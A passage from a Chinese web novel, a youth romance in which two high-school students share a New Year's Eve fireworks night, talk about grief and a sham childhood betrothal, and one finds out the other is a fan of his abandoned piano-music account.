他厌恶网球。 糟糕透了 周围充斥着高亢的欢呼尖叫，柯译衍神色平静，长久沉默着。 他今天穿了身利落有型的冷酷黑，一身冷感气质在夜色渲染之下变得更为厚重，就这么沉默不语的时候，宛如一把锋利的，却因残破往事而布满伤痕的暗剑。 月光静静流淌，温柔照耀，暗剑卸下所有防备，唯剩无尽落寞，叫人敬而远之，却又忍不住想要靠近触摸。 这一刻，他在想什么？ 心里又在难过什么？ 姜织宁欲言又止望着柯译衍，忽然很想握住他的手，给予他力量。 她刚才是不是说的太直接了？ 明天就是新的一年，话题本不该这么沉重，想到这，她蹙眉无声叹了口气，绞尽脑汁思考着如何将话题翻篇。 片刻，她轻拍了拍柯译衍手臂，他偏头看过来。 姜织宁眉眼弯弯，语气轻松问：“世界是我的牡蛎，下一句是什么？” 柯译衍静默两秒，淡笑了下，低声接话：“我将以利剑开启。” 姜织宁鼓励说：“新的一年，双A组加油。” 当一切都没有了意义，便感知不到时间的流逝。 柯译衍本以为，如死水般自我放逐的沉寂生活会日复一日过下去，结果转学到江中，遇见姜织宁之后，有些东西在悄然改变。 这些改变，就像溃烂的伤口重新生长出皮肤，过程缓慢，却肉眼可见，无法忽视。 她告诉他，仅有一次的人生，我决不妥协。 心中还存在热爱和梦想吗？ 到底要不要重新拿起球拍？ 他无法在短时间内想清楚，做出抉择，不过，姜织宁说的那句话倒是给了他启发。 世界是我的牡蛎，我将以利剑开启。 而这把利剑，就在他手中，为什么要轻易丢弃？ 烟花表演接近尾声，最后压轴的七彩祥云宛如画家打翻了颜料盘，色彩斑斓的烟火在空中如瀑布般流淌而下。 震撼人心的一幕。 黑夜被彻底点燃，尖叫声、欢呼声此时此刻，所有人的情绪被盛大璀璨的震撼画面推至巅峰。 俞杨几个人热血沸腾，手里拿着泡泡机，在台阶上兴奋跑来跑去。 少年少女们身姿迅猛如疾风，大声笑闹着，四面八方浪漫吹泡泡。 无数泡泡在姜织宁身边环绕，她笑眯眯抬手去戳，突然间，有几个泡泡朝她眼睛嘴巴飘来，为了躲避，她下意识倾斜向柯译衍。 另一边，柯译衍被俞杨的高亢吼声吵得不行，直皱眉头。 服了，喇叭都没他这么聒噪。 当俞杨又一次停留身边吼叫时，柯译衍不爽啧了声，无语抬眼斜他一眼。 俞杨接收到眼神讯号，愣住，先是头顶飘过一排问号，心想咋了？紧跟着，自作聪明懂了！ 他冲柯译衍挤眉弄眼。 柯译衍：“？” 干什么？ 俞戏精什么意思？ 俞杨耐人寻味笑起来，心说，是不是泡泡不够多？ 明白明白！ 良辰美景，花前月下，身边坐着暗恋的人，罗曼蒂克！浪漫起来！ 下一秒，他突然举起泡泡机，找好角度，加大马力，对准双A组猛吹泡泡。 柯译衍：“” 柯译衍极度无语，立马抬手驱赶泡泡，冷笑心说，俞杨啊，看来明天太阳真的和你无缘，等下就打死你。 姜织宁也挺不理解，蹙眉挥手驱散，纳闷心想，这泡泡是不是太多了点？都成泡泡海了 她一边赶泡泡，一边退向柯译衍，两人距离越靠越近，直至彼此肩膀挨着肩膀。 好在这时，周静瑶跑上来拍照片，她嫌弃俞杨挡镜头，立马不客气将他赶走，离谱泡泡海朝四周飘散，总算消失。 好几个泡泡飘到了眼睫毛上，痒痒的，有点刺眼，姜织宁抬手揉了揉，眨着眼扭头，同一时间，柯译衍转头看过来，查看她有没有事。 目光交汇瞬间，两人呼吸同时滞了下。 面对面，距离极其近，只要再往前挪动一点点，便能鼻尖相抵。 绚丽焰火照亮姜织宁脸庞，给她染上几分殊色，漂亮得不像话，那双灵动眼眸里蕴含着盈盈水光，安静的，清凌凌地望着柯译衍。 柯译衍注视着姜织宁，这一刻，冷漠锋利的冰川隐匿于黑暗，漆黑狭长的眼眸中独剩一片柔和月色。 明月照耀着广阔无垠、宁静平和的大海，潮汐周而复始，裹挟着无人知晓的少年心事。 时间被按下暂停键，两道视线紧密缠绕在一起，暧昧气氛烘托之下，悸动隐隐作祟，谁也没开口。 直到后头突然传来一声“咔嚓！”，两人才惊觉回神，同时扭头望去。 周静瑶举着相机站起来。 她笑眯眯低头看了眼照片，连声感叹：“啧啧啧，你俩这张侧脸合影太绝了！哈哈哈，不愧是我，太会抓拍了！轻松拿捏！” 辉煌焰火下的浪漫对视，氛围感拉满，简直就是情侣照模版！ 当然，这句话周静瑶是放在心里说的。 柯译衍率先冷静开口：“没事吧？” “没事。”姜织宁坐直身体，和他拉开一定距离。 柯译衍瞥她一眼，忽然问：“担心我？” 姜织宁被他问得愣了下，没有不好意思承认，随即坦诚点头：“是啊，担心你。” 柯译衍静默一秒，低声问：“为什么这么关心我？” “大雨倾盆而下。” 她弯唇笑起来，偏头望向他，眼眸中漾动着温柔的月光。 “想为你撑伞。” 柯译衍愣住：“撑伞？” 姜织宁嗯了声，轻声说：“父母去世的那段时间，我整个人状态特别特别差，不想开口说话，也不想听任何人说话，确实因为这件事，精神受到了很大打击。” “不过，那会儿也存在一定程度自我较劲的执拗，自我封闭，自我放弃，极其排斥外界，自己把自己困在灰蒙蒙的雨季里。” “后来，姑姑带我到蒋叔那边做心理治疗，刚开始我很不配合，脾气特差，一个劲折磨人。” 她忍不住笑起来：“周导蔡总都知道，这两位小伙伴经常陪我去医院，没少受我折磨。在蒋叔那边治疗了挺久，我才愿意自我和解，开口说话。” “那真是一个无比漫长的雨季，漫长到我以为大雨永远不会停止，阳光永远不会照进来。” 她神情感慨：“现在想想，还是觉得自己很幸运，家人和朋友一直耐心陪在我身边，永远爱我，包容我，给足了精神庇护，要不是有他们在，估计我的人生就不是现在这样了。” 姜织宁结束回忆，对柯译衍笑道：“因为我也淋过大雨，所以想为你撑伞。” 她语气柔和地说：“有些人，也许一辈子都走不出变故带来的阴影，我不希望你和过去的我一样，被困在自我封闭、自我放弃的世界里，甚至因此错过本该属于你的人生，后悔和遗憾不适合你。” 当局者迷，旁观者清，十几岁的少年心高气傲，再怎么成熟，能成熟到哪里去呢。 姜织宁知道，正因为有家人朋友的撑伞，她才能一步步走出过去的阴霾。 她也想给柯译衍撑伞。 姜织宁对他掏心掏肺地劝，柯译衍当然能听出来，有人为他撑伞自然很好，只不过这段话听下来，他更在意别的。 柯译衍犹豫了下，装作不经意地问：“你对所有朋友都这样？” “啊？” “撑伞。” 姜织宁摇头否认：“那没有，我又不是救世主。” 最近脑子里有件事一直没琢磨明白，柯译衍想了想，乘势问：“所以，我这个朋友在你心里比较特别？” 嗯，这说法没毛病。 姜织宁看他一眼，抿唇笑起来，承认道：“是啊，你份量重，你比较特别。” 说到这个，她突然想起了和他刚做同桌时一直好奇的事。 “柯译衍。” “嗯？” 姜织宁翘起唇角，目光耐人寻味注视着他，慢悠悠问：“你之前，是不是对我有想法啊？” 柯译衍：“？” 柯译衍：“” 第80章 明月照进他心里 月亮对于柯译衍而言, 有种难以言喻的特殊意义。 很小的年纪，他就开始独自在异国他乡训练，飞到世界各地打比赛。 小小少年, 迎着晨光而行，周而复始刻苦训练, 披星戴月离开球场。 夜色之下，他独自背着球包, 唯有头顶明月作伴，皎洁月色照耀着脚下归路。 他再怎么冷静沉稳、理智早熟, 底子里仍然是小朋友年纪, 网球本就是一项孤独的运动, 异国他乡呆久了，当头顶那抹柔和月光洒到身上时, 脑子里偶尔会有感性情绪发酵。 明月永远悬挂天空，与注视的人隔着遥远距离, 触不可及。 而今晚，柯译衍却觉得明月近在咫尺, 就在他的眼前。 此时，柯译衍心中挺郁闷, 挺不爽。 实在没想到会被姜织宁察觉出他喜欢她, 还问的这么突然, 叫他毫无防备, 措手不及。 她怎么看出来的？ 他表现的很明显？ 不可能吧，他自认为这份心思藏得很好。 仔细想了想, 柯译衍缓缓偏头, 目光阴沉地望向正在不远处嘎嘎傻乐的俞杨。 怀疑很合理。 最大嫌疑犯绝对是这个俞戏精，毕竟这人嘴巴没个门把, 就连他的过去都能随便抖给姜织宁，还有什么是他不能说的？ 呵！ 他是真的服。 这叛徒朋友不能要了，还想看见明天太阳？ 做梦，今晚就把他骨头拆家！ 柯译衍沉默不语，姜织宁也没催，耐心等待着，等到柯译衍终于意识到，他再这么沉默下去估计天都要亮了，才抱着一种豁出去的冲动心态，不情不愿低嗯了声。 都被叛徒出卖了，被姜织宁知道了，他还能说什么？ 否认如同鸡肋。 当他后知后觉意识到内心不受自控，在所谓做朋友的路上越走越歪后，他能有什么办法？ 姜织宁从头到脚，由内而外，哪哪都吸引着他，他和她之间有无数话题可聊，拥有一个眼神就能理解对方的默契。 他很确定，就是她了。 姜织宁，就是他的灵魂共振。 …… 姜织宁对他的承认毫无意外，柯译衍没有立马否认，陷入长久沉默的时候，她就猜到了。 “猜中了哎。”她笑了笑，好脾气地说：“你果然对我有想法，所以我们刚做同桌那会儿，你是不是觉得我很难相处？” “什么？”柯译衍微愣。 “就是和有些人一样嘛，觉得我高高在上，脾气差劲，很不好相处啊。”姜织宁感慨笑道，“现在想想，还蛮神奇的，双A组，我们居然能成为关系匪浅的朋友。” “” 柯译衍听出点不对劲。 他想的，和她想的，似乎不太一样 就，彼此没在同个频道上。 他皱眉问：“你刚问的有想法，就是指这个？” 姜织宁点头：“对啊，其实好奇蛮久了。刚和你做同桌那会儿，感觉你态度特别冷淡，我就觉得，可能你对我有什么不满意见，周导说，这挺正常，她说双A组王不见王。” “”柯译衍无语了下，冷静回，“没有。” 姜织宁：“啊？” 他微微垂头，叹了口气：“没觉得你不好相处，和你没关系，是我的问题。” 姜织宁顺手接过周静瑶递来的仙女棒，一边点燃，一边语气轻松地说：“是吗？没事，不用放心上，我就是好奇问问。” 尽管搞清楚是乌龙一场，但是，柯译衍心中那股豁出去的冲动劲并没有消失。 其实他已经考虑了有段时间，不能再这么放任下去了。 要么主动朝她走，要么退回安全距离，总要有点改变。 他走进EQUA实验室的那一天，姜织宁抬眸望向他，主动扬起微笑时的那股悸动，一直埋藏在他心底。 或许，那就是蝴蝶第一次振翅，以彼此为中心的风眼，开始掀起一场名为心动的风暴。 心动风暴降临时，他曾极力克制疯狂的心跳。 而现在，他忽然想试试，能否牵起她的手。 “姜织宁。” 柯译衍冷静喊她名字。 姜织宁：“嗯？” 他扭头看向她，淡声说：“刚说的话，还算数吗？” 她愣了下，反问：“什么话？” 柯译衍：“不介意了解你的过去。” 她哦了声，大方表示：“当然算数啊，你想问什么？其实你已经了解的差不多了，我呢，也就小时候那段童星经历稍微特殊一点，其他时候基本和同龄人一样，没什么特别之处。” 柯译衍：“你们经常提到的蔡从” 姜织宁：“他怎么了？” 他问：“之前听俞杨说，你和蔡从有娃娃亲？” 最近柯译衍没想明白的就是这件事。 他一直知道姜织宁、蔡从是订过娃娃亲的青梅竹马，也听很多人说过这两人是男女朋友关系。 以前他不关心这些，积压心底的烦闷事让他自顾不暇，等到后来在意时，经过仔细观察后，他总感觉，这对青梅竹马不太像外界传闻的那么回事。 怎么讲呢，每回姜织宁提起蔡从的口气，完全听不出情侣之间该有的亲昵感，那语气里不是充满嫌弃，就是一副“妈妈好大儿”的离谱既视感。 上次蔡从来医院探病，结果连病房号都记不住，更是荒谬离谱。 但是，姜织宁没休学留级之前，他又确实碰见过她和蔡从有说有笑走一起，在学校里形影不离，关系亲密。 柯译衍有点想不明白，搞不清这对青梅竹马到底怎么回事。 这种私人事，听外人传来传去都不靠谱，只有问当事人最清楚。 “娃娃亲吗？姜织宁愣了愣，随即诚实点头，坏笑说，“这个没法辟谣，是有这么回事，现在说结婚太遥远了，过两三年吧，等我们正式订婚的时候，请你坐头桌？” 柯译衍：“” 他脸色瞬间沉冷下来，浑身低气压。 坐什么头桌？ 他不砸场子就不错了。 “当真啦？和你开玩笑呢。”她看他神情很不好看，识趣收起玩笑话，笑眯眯解释，“我家和蔡从家是多年好友，所以娃娃亲在我俩出生前就说好了。” 柯译衍沉默了下，喉咙发紧地问：“算数么？” 这年头，娃娃亲到底算不算数，得看家里怎么安排。 一部分人的娃娃亲只是口头上说说而已，闹着玩的成份居多，毕竟二十一世纪了。 而另一部人，或许因为家族利益关系，或许因为其他原因，家里是真有这个规划，所以家长从小就安排小朋友们在一个圈子里玩，早早互相培养感情，主打一个肥水不流外人田。 他不知道姜织宁属于那种情况，在他看来，似乎更偏向后者，但不确定两人是因为利益结合，还是真有感情。 姜织宁坦诚点头，毫不避讳地说：“算数啊，我们两家都是认真的。” 蔡从父母非常喜欢她，只不过她现在年纪还小，学业为重，之前又经历了父母去世的变故，所以蔡从父母基本不会在她面前提这事，不过，有时会在她长辈面前说两嘴。 柯译衍面无表情垂眸，心脏坠入冰冷海底的瞬间，忽然听到她说：“不过嘛，认真归认真，我和蔡总不可能在一起的。” 枯木逢春，期待重生。 他滞了秒，迅速扭头看向她，下意识问：“为什么？” 姜织宁：“当时是因为互不喜欢。” “互”柯译衍敏锐抓住重点，唇角不自觉微扬起来，他极力克制着表情，冷静反问，“互不喜欢？” 她点头说：“对啊，我俩性格不合适，最多只能做两肋插刀的好朋友，要是能在一起的话，早就在一起了。我呢，不想天天骂人，至于蔡总呢，他也不想天天挨骂，所以我俩不可能。” 怕柯译衍不理解，她好心解释一句：“你可能没听说过，其实我们家蔡从有两个外号，我也不是每次都尊称他一声蔡总，大多数时候，我更喜欢叫他另一个外号——蔡狗。” 蔡狗？ 柯译衍：“” “你不认识他挺好的，没这个必要。”姜织宁一脸认真地说，“事实证明，狗里狗气的传染率极高。” 柯译衍：“” 如果是其他男生问起来，姜织宁并不会解释这么多，说到那句“算数啊，我们两家都是认真的”，就到此结束了。 绝不会给对方留下一丝丝幻想余地。 她是故意的，之所以这么做，事出有因。 主动向外界释放她和蔡从关系匪浅的暧昧消息之前，除了一些正常表白，她总会遇见行为上升到骚扰层面，心里没点数的不正常男生。 离谱事经历多了，姜织宁不堪其扰，被烦得不行，干脆直接拿蔡从做挡箭牌，蔡从一心沉迷游戏，游戏就是他女朋友，本就无心恋爱，所以也很乐意配合她。 别说，这招还挺好用，确实赶走很多暗恋者，让她的校园生活清净许多。 她是真把柯译衍当成自己人，以及，抱着几分就是不想让他误会的微妙心理，才愿意主动透露真相。 解释完，姜织宁不忘提醒他：“保密啊，这事没几个人知道，我想一路清净到毕业。” 说实话，冲动问出口之前，柯译衍反复犹豫过，最终抱着一种“先问问什么情况，再想办法”的赌徒心态。 他猜想过好几种答复，却没想到，事实竟然毫无阻碍。 在这段感知不到意义，自我放逐的黑暗时光里，他被命运困在漫长的雨季，独自沉寂了如此之久。 谁能想到，年末即将翻篇的最后一天，命运之轮悄然转动，馈赠给他一份无比珍贵的礼物。 今夜，皎洁明月强势穿透坚不可摧的冰山，照耀进他那颗荒芜的心脏。 月光洒进来，从此，他的世界不再沉寂。 长久压抑的心情瞬间豁然开朗，柯译衍慢悠悠嗯了声，勾唇说：“原来他是你的挡箭牌。” 姜织宁抿唇，冲他比了个“嘘！”的俏皮手势。 柯译衍扬眉笑起来。 …… 焰火秀结束后，仙女棒在嬉闹中全部燃尽，少年少女们在今晚拍了无数张名为青春的闪耀照片。 时间差不多，一行人随着人流步行下山。 由于要一起跨年，因此姜织宁今晚住在周静瑶家，这是两人多年以来的跨年约定。 跨年夜打车很困难，周静瑶举着手机站在路边，和正开车过来接人的表姐通电话。 等车途中，姜织宁临时想起一事。 她扭头望向柯译衍，问：“对了，你平时听纯音乐吗？钢琴曲这种。” 柯译衍点头：“偶尔。” “哦，那我给你推荐一位音乐博主。”姜织宁拿起手机，一边点开音乐软件，一边说，“我关注他蛮久了，这博主的作品都是钢琴曲，有些是原创，有些是二创，不过他因为某些离谱原因很久没更新了，也不知道是不是弃号，蛮可惜的。” 她找到音乐博主K的账号，将手机屏幕朝向柯译衍，“就是他，你俩挺巧，名字都叫K。” 柯译衍顺势垂眼看去，下一秒，惊愣住。 头像很眼熟，等等，这不就是被他弃用已久的听歌账号吗 姜织宁喋喋不休说着话，柯译衍脑子一片空白，愣神盯着账号主页，什么话也没听清。 直到姜织宁拿走手机，他才恍惚反应过来。 “嗯？你说什么？” 怎么心不在焉的？ 姜织宁奇怪瞥他一眼。 车来了，周静瑶挥手示意：“宁王，走吧。” 姜织宁回头示意她稍等一下，然后迅速把话讲完：“我说，我给博主发过私信，他没回。但没事，他账号里的那些曲子都能正常听，你平时心情不好的时候，可以听听纯音乐，亲测有效。” “” 沉默了好一会儿，柯译衍才状态不对劲地嗯了声，显然，他需要时间好好消化突如其来的“惊喜”。 姜织宁：“那我先走了啊。” “嗯” 关车门前，姜织宁笑着冲他挥挥手：“新年快乐。” 柯译衍目光复杂注视着她：“新年快乐。”【你现在阅读的是 】 80-90 第81章 我很红吗？ 复杂。 心情很复杂。 命运之轮是不是转的太快了点 迫不及待告诉他, 姜织宁居然是他粉丝 世界上，怎么会有这么巧的事？ 黑色衣领遮挡住下巴，柯译衍散漫抱臂靠坐在车后排, 一言不发注视着车窗外，五光十色的街景在眼眸中飞快倒退。 身边坐着位沉默是金的大佬, 俞杨欲言又止，忍不住反复扭头偷瞄柯译衍。 俞杨无声叹气, 心情同样很复杂。 唉怎么讲呢，只能长长感叹一句非常明白、十分理解、特别同情！ 他也经历过暗恋啊, 当然知道暗恋的苦, 那种渴望不可及的滋味是真心折磨人。 他心里琢磨着, 估计看烟花那会儿柯译衍和姜织宁的相处氛围太好了，以至于现在突然分开, 搞得柯译衍心理落差太大了。 就跟烟花似的，再怎么恢弘盛大, 也只是转瞬即逝的美好，热烈沸腾散尽后, 只剩下一片冷寂。 否则，柯译衍怎么会变成现在这幅死样？ 这位酷哥, 沉默不语, 姿势一动不动, 从上车后一直维持着这幅死样, 理都没理过他！ 嗯，绝对是这样！ 内心寂寞啊, 空虚啊, 柯译衍心里难受着呢。 俞杨为自己的机智分析默默点了个赞，然后小心翼翼咳了声：“那个衍神啊” 柯译衍没搭理他, 沉默看着车窗外，跟没听到似的。 俞杨也不在意，自顾自劝道：“没事啊，唉你也别想太多了，没什么大不了，后天咱们不就回校了吗，又能见到宁王了啊。” “这人啊，一到晚上就容易网抑云，容易胡思乱想，这很正常，你别放心里去，我也老犯emo啊” “不过依我看，你这样长久下去也不是办法，我早就提醒过你，不能老和宁王呆一起，也不能总想着宁王，否则你心里会闷出毛病的！” “怎么样，寒假一起去美国冬训么？就当散心嘛，我一个人飞过去多孤单多寂寞啊” “还是不是兄弟了？是兄弟就走起” 俞杨唠唠叨叨说了一长串话，柯译衍却全程沉浸在自我世界里，半个字也没听进去。 这时，手机震了下，柯译衍低头看去。 打开微信，看到姜织宁给他发了条音乐app的分享链接。 【Ning】：怕你找不到博主账号，直接发给你吧。 他想了想，打字询问。 【K】：刚说给博主发过私信，他没回你，你什么时候发的？ 数秒后，姜织宁发过来一张截图。 柯译衍点开图片。 截图里显示的时间是九月初那会儿，由于私信内容没截全，他干脆直接打开音乐app，登陆废弃账号，点进私信那栏，不断往下划看。 费了点时间，总算找到姜织宁的号，他打开对话框，两条未查看的消息弹出来。 【Ning】：博主你好，关注你很久了，也一直非常喜欢你的原创、翻奏作品，想和你说一声谢谢，那首Spring对我的睡眠障碍帮助非常大。[鲜花][感谢][星星眼] 【Ning】：另外，有注意到你的歌单很久没有更新，请问是不是换账号了呢？[好奇][愉快] 柯译衍茫然注视着这两条私信，不知作何反应。 太突然了 突然到他不知道怎么回复，不知道该不该回复。 这个被无奈弃用的账号，从始至终都是他的私人听歌号。 外公是音乐学院作曲系教授，受老人家影响，他从小就学钢琴，偶尔空闲时，他会自娱自乐，翻奏一些个人喜欢的音乐作品。 本着自己给自己产粮的单纯想法，他会顺势把曲子录下来，传到账号上，这样随时随地都能听到。 至于账号里的那些原创钢琴曲，有几首是外公闲暇时自娱自乐写着玩的，还有几首是外公专门写给他的曲子，他也一并录了下来，传到账号上。 他完全没想到会有人喜欢和关注，更没想到，后面会莫名其妙走红。 账号只有几千粉的时候，他并没有弃用的想法，那时候的评论和私信不算多，留言都很正常，基本都是来求琴谱，他看到后会回应，琴谱全部无偿分享。 后来关注量突然暴涨，留言私信转变得令人无语，他不堪骚扰，很反感，不得不弃用账号。 对他而言，这个听歌号就是黑历史 手臂忽然被推了一下，柯译衍缓缓扭头望去，俞杨瞪着他，不满质问：“和你说了这么多，听进去没啊？” 嗯？什么？ 这人说了什么？ 算了，说什么都不重要，柯译衍默不作声盯着俞杨，就在俞杨被盯得浑身起鸡皮疙瘩时，他慢吞吞问了句：“我很红吗？” 姜织宁居然说关注他很久了，实在令他不可思议。 俞杨：“” 哈？这是什么问题？ 问他要不要走起去美国冬训，他突然反问一句——我很红吗？ 牛头不对马嘴，简直离谱！ 懂了，柯译衍一个字也没听进去，纯属浪费他感情呗，白扯这么多！ 俞杨卸下心理包袱，缓慢深呼吸，三秒后，皮笑肉不笑地说：“做人要知好歹。” 柯译衍：“？” 俞杨：“今天是个好日子，别逼我在最快乐的时候抽你。” 柯译衍：“” “你不红？” “你不红谁红？？？！！！” 俞杨斜睨他，阴阳怪气，激动地高声嚷嚷起来：“江中的大校草，被称为All Kill的衍神是哪位牛人啊？不就是你柯译衍吗！喔唷，那外校女生都要托我给你送情书！你说你红不红？” “去年，风光无限，连拿两座大满贯青少年冠军，接受好几家国内外媒体采访，霸占体育新闻头条的大佬是谁啊？也是你柯译衍啊！喔唷，你可是拥有粉丝后援会的红人！” “校网球联赛，是谁家球迷坐满半个球场，加油声震天撼地？还是你柯译衍啊！你粉丝那撑场气势，不要太唬人好吗！这还不算红吗？！” “居然敢问我红不红！” “你个凡尔赛！” “” 服了，柯译衍无语收回目光，谁问他这些了。 柯译衍不耐烦啧了声，冷脸警告：“嘴巴给我闭上，你在病房里和姜织宁说的那些话，以为我不清楚么？现在没功夫管你那些破事，你给我收敛点，如果想看到明天太阳的话。” 要不是姜织宁不准他找俞杨麻烦，他早就把俞杨大卸八块了。 俞杨猛然噤声，心虚挪眼，不敢再逼逼赖赖半个字。 柯译衍都知道了？ 不会吧，宁王不可能出卖他啊，不是说好了保密么！ 不成不成，俞杨吓得立马从衣兜里摸出手机，遮遮掩掩去微信上私信姜织宁。 柯译衍垂眼注视着对话框，犹豫半响，最终无声叹了口气，什么也没回复。 他退出app，切回微信页面，点进姜织宁头像，选择备注那栏。 给姜织宁的微信备注一直是她的全名，算是将彼此关系疏远化的刻意行为，即使后来成为朋友后，他依然没有改过备注名。 柯译衍勾唇删掉姜织宁三个字，慢悠悠输入m-o-o-n，按下保存。 moon。 早就想这么做了。 姜织宁，就是他心中的那轮皎洁明月。 * 舒舒服服泡了个澡，姜织宁换上睡衣，吹干头发，一路小跑进周静瑶房间。 还有五分钟就是新的一年。 墙上投影仪开着，周静瑶低头坐在小沙发上，手速飞快修着今晚拍摄的照片，修好一张就往跨年群里扔一张。 姜织宁拿起桌上的遥控器，挑选电影：“我们看什么？” 周静瑶头也不抬，抽空说：“等会啊，我还有几张就搞好了，随便吧，哈利波特也行。” “可以，那就哈利波特。” 最后一张照片修好发到群里。 “弄完了！弄完了！” 周静瑶兴奋扬手一扔，手机飞向沙发角落，她雀跃扑到姜织宁身上，双臂亲昵搂住姜织宁肩膀。 与此同时，墙上时针指向十二点，窗外应景响起喧闹的烟花爆竹声。 新年来了！ 两人默契相视一笑，异口同声：“新年快乐！！！” 跨年群里被众人新年祝福的话疯狂刷屏，立在桌子支架上的平板开着摄像头，疯人联盟群成员全部露脸上线，你一句我一句抢着说话，气氛热闹不已。 周静瑶亲密靠在姜织宁肩膀上，一边看电影，一边嘻嘻哈哈和朋友们闲聊。 中途，她捞起手机，正准备点开微信时，不小心手误打开了音乐app。 下一秒，屏幕上方弹出消息通知，提醒她关注的音乐博主K在刚才更新了动态。 啊？ 这博主不是早就弃号了吗？ 周静瑶愣住，迅速点进去查看。 K发了一张月亮的照片，上方配文—— I watch the moon。 Let it run my mood。 Cant stop thinking of you。 “活了！” 周静瑶呆滞看着手机屏幕，突然震惊喊了声，然后用力推了推姜织宁肩膀：“活了！活了！K复活了！！！” 姜织宁暂停闲聊，纳闷回头，“啊？什么活了？” “就是那个弃号很久的音乐博主K！他复活了！他刚才发了条和女生有关的动态，你快看！” 周静瑶把手机激动递到她面前。 姜织宁惊讶接过。 她看完这条新发的动态，随即打开他主页，作品倒是没有变动，还是原来那些，这么说的话，他只是上线更新一条动态而已。 姜织宁好奇问：“你怎么知道这张照片和女生有关？” 周静瑶神秘兮兮笑起来：“我不仅知道和女生有关，我还知道，这博主要么是在搞暗恋！要么是在和女朋友表白说情话！” “啊？怎么看出来的？”姜织宁更好奇了。 周静瑶解释：“他的配文是《Tek It 》里的一段歌词，这歌我太熟了，好几个视频我都是用《Tek It 》配的bgm，你翻译这三句歌词看看。” 姜织宁配合念道：“我注视着月亮，让它支配着我的心情，止不住地想你。” “歌词是不是很明显？”周静瑶严谨分析道，“所以月亮肯定是意指女生啊，博主不是还专门配了张月亮的照片吗，嘶，不过说起来我怎么感觉这张照片有点眼熟呢？” “哪里眼熟？”姜织宁问。 周静瑶：“拍摄角度很眼熟，总觉得，照片里的烟花和月亮等等，我靠？” “我去！！！” 周静瑶脑子里突然灵光一闪，连忙拿回手机，迅速去跨年群里翻找自己拍摄的焰火秀照片。 很快，她找到一张和博主拍摄角度类似的照片，反复对比后，展示给姜织宁看，震惊问：“你看这两张照片的角度像不像？” 姜织宁仔细看了看，点头说：“挺像的。” 周静瑶猛拍大腿：“绝了绝了绝了！我敏锐的第六感告诉我，我们在山上看焰火秀的时候，很有可能K就坐在我们附近！” “啊？不会吧。”姜织宁半信半疑，“今天不是跨年吗，应该挺多地方都放烟花了。” “不不不，摄影人的直觉告诉我，我们和博主在同一个地方的可能性非常之高！”周静瑶若有所思，“我想想啊，今晚山上好像挺多帅哥的，嘶也不知道哪位是K” 姜织宁猜测：“说不定博主是位大叔。” 周静瑶否认：“不太可能，他那些收藏歌单一看就是年轻人口味，我觉得！这博主很有可能是音乐学院的帅哥！” 姜织宁笑了笑，拿自己手机打开音乐app。 之前给博主发过两条私信，对方一直没回，所以这回习惯性查看私信的时候，她没有抱任何期待。 结果，一点进去，始终毫无回应的对话框里突然蹦出一句新年快乐，还是卡着零点时分发来的。 姜织宁倏地愣住，微微睁大眼。 是群发么？ 还是发错人了？ 她犹豫了下，立马输入新年快乐四个字，点击发送。 三秒后，对方回复——谢谢。 啊 这博主真复活了啊？ 姜织宁感到很惊奇，忍不住打字询问。 【Ning】：是博主本人吗？ 【K】：不然？ 【Ning】：哦，没事，就是看你账号很久没更新了，所以突然收到回复挺惊讶的。 【K】：嗯，是弃号了，骚扰信息太多。 本来还想问问新账号是哪个，眼看他这么说，她便识趣不再多问，他应该不想被打扰吧。 【Ning】：理解理解，这个账号不会继续更新了吧？ 【K】：大概率不会，没时间。 【Ning】：懂了，你的音乐真的很棒，祝你生活顺利～ 【K】：谢谢，你也是。 账号的在线标识暗下去，对方下线了。 姜织宁把这波对话展给周静瑶看。 周静瑶瞪大眼看完，惊讶道：“我去，你俩还聊上了？” “只是普通对话。” “那也是聊啊，晕，他怎么没祝我新年快乐？” “你也给他发私信了？” “那没有，嘻嘻，我就是个伸手党！好奇怪啊，他都弃号了，突然更新动态干吗？” “谁知道呢。” 姜织宁遗憾退出app，将页面切换回微信。 耐心回复完好友们发来的新年祝福，她随手给柯译衍发去信息。 【Ning】：新年快乐～ 【K】：还没睡？ 【Ning】：你也没睡。 【K】：我不头痛不失眠。 【Ning】：哦，了不起。 【K】：早点睡啊，没和你开玩笑。 【Ning】：这不跨年吗 【K】：零点已经过了，可以睡了。 【Ning】：知道了知道了，刚才推荐给你的音乐博主，你关注没？ 【K】：关注了。 【Ning】：觉得怎么样，符合你的听歌口味吗？ 【K】：符合，挺不错的。 【Ning】：那就好，不过好吓人啊，这博主突然诈尸复活了！ 【K】：诈尸复活？ 【K】： 【Ning】：对，他弃号很久了，结果刚才突然回我私信，那不就是诈尸么？ 【K】：行 【Ning】：和你说下最新消息，博主亲口和我说账号不会更新了，本来我还想问他新账号是哪个，算了算了，不打扰了。 【K】：知道了，早点睡觉。 【Ning】：柯医生再见 第82章 抱你上去 隔天中午, 柯译衍被叫去外公家吃饭。 新年第一天，家庭聚餐，家里长辈小辈都来了。 柯译衍刚进门, 就听见外婆在骂舅舅老光棍，挨骂的柯绍之一脸无奈坐在沙发上, 茶泡好了都不敢喝。 甭管男人在外头是什么高大上的公司总裁，这种时候, 也只有乖乖挨训的份。 早些年，外婆总抱怨家里是不是欠了情债, 搞得柯卉芸、柯绍之这两姐弟感情生活都不顺利。 以前外婆总爱教训姐姐, 后来柯卉芸走出离婚阴霾, 重新拥有了新感情，老人家就把矛头对准小儿子柯绍之, 天天嫌弃他不成家，没个好眼色。 柯译衍站在玄关换鞋, 顺势扫了眼客厅，没发现外公人影。 通常来说, 外婆插着腰，中气十足教训人时, 外公向来不敢吭声, 最喜欢躲到琴房里, 柯译衍换上拖鞋, 熟门熟路走向琴房。 敲门推开，袅袅茶香袭来, 外公果然躲在房间里看书。 他走进去, 打了声招呼：“外公。” 老人抬眼看过来，笑道：“译衍来了啊, 快快进来，赶紧把门关上！哎哟，你外婆那个河东狮吼啊，吓得我心颤！” 柯译衍勾唇关上房门，坐到沙发上。 “外公，您这儿还有写着玩的钢琴曲吗？” “有啊，上周刚写了首曲子，你想拿去做什么用？”外公笑眯眯问。 柯译衍表情略不自然地说：“有个朋友吧，之前生过病，所以她睡眠不太好，经常头痛失眠，您写的那首spring对她的睡眠障碍帮助挺大，能不能” “能不能再给小姑娘写首助眠的钢琴曲？”姜还是老的辣，外公秒懂，意味深长打断说。 柯译衍：“” 怎么就突然蹦出个小姑娘了 眼看柯译衍没否认，外公便知道自己猜中了，他眼睛立马亮起来，心痒痒打听：“你这位朋友，是女生吧？不是男生吧？” “” 柯译衍低嗯了声。 “都找到我这儿来了，可真是稀罕事，这小姑娘能让你这么上心，看来你们关系很不错嘛。” 